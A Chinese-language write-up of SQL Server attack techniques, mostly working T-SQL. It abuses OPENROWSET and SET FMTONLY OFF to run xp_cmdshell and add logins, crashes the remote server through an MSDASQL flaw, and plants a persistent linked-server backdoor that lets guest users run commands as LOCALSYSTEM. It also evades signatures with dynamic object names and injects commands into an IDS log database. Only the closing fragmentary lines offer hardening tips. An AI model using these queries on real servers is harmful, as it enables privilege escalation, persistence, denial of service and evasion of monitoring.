標準用法:SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd','SELECT * FROM table')。但可利用 SET FMTONLY OFF 繞過僅回傳中繼資料的限制,執行 xp_cmdshell:
SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd',
'SET FMTONLY OFF EXEC master.dbo.xp_cmdshell ''dir c:\''')
若需呼叫無結果集的 SP (如 sp_addlogin),可偽造結果集:
SELECT * FROM OPENROWSET('SQLOLEDB','server','sa','pwd',
'SELECT ''OK!'' EXEC master.dbo.sp_addlogin Hectic')
此技巧可在擁有連結伺服器權限時,透過單一查詢執行任意伺服器端命令。
SELECT * FROM OPENROWSET('MSDASQL',
'driver={SQL Server};server=server;uid=sa;pwd=;database=master',
'SELECT * FROM table1 SELECT * FROM table2')
當 table1 與 table2 欄位數不同時,遠端 SQL Server 進程崩潰,本地連線亦失效。僅發生於 MSDASQL,SQLOLEDB 不受影響。根因未明,疑為 MSDASQL 處理多結果集缺陷。
執行一次:
SELECT * FROM OPENROWSET('SQLOLEDB',
'TRUSTED_CONNECTION=YES;DATA SOURCE=Hectic',
'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\''')
將在目標 SQL Server 建立名為 Hectic 的本地連結伺服器映射。只要服務不重啟,映射永久有效。其後任何權限的使用者 (含 guest) 執行相同查詢即可以 LOCALSYSTEM 權限執行命令!此為極隱蔽持久化後門。
Windows 內建 LOCALSERVER、MSQI DSN 以本地管理員身分連線。若 SQL 服務帳號為 Power User,sa 權限受限。嘗試:
SELECT * FROM OPENROWSET('MSDASQL',
'DSN=LOCALSERVER;TRUSTED_CONNECTION=YES',
'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\''')
若 guest 能呼叫 MSDASQL,可能突破權限邊界。目前 guest 無法直接呼叫 MSDASQL,仍在研究突破口。
DECLARE @a SYSNAME SET @a = 'xp_' + 'cmdshell' EXEC @a 'dir c:\'
-- 或使用物件 ID
DECLARE @a SYSNAME SELECT @a = name FROM sysobjects WHERE id = 988456 EXEC @a 'dir c:\'
組合拼湊、動態查詢物件名稱,使靜態特徵碼匹配失效。
IDS 記錄庫常為 SQL Server。提交含 /**/ 替代空格的注入:
INSERT/**/INTO/**/log_table/**/VALUES(...'temp')/**/EXEC/**/xp_cmdshell/**/'dir c:\'/**/--
導致 IDS 記錄過程中執行命令。同理可備份/破壞 IDS 資料庫。
OPENROWSET/OPENDATASOURCE 權限,僅授予特定管理帳號。xp_cmdshell (sp_configure 'xp_cmdshell', 0) 或移除 xplog70.dll。sp_linkedservers) 與 sysobjects 異常項目。sysadmin、bulkadmin、setupadmin 等高權限角色。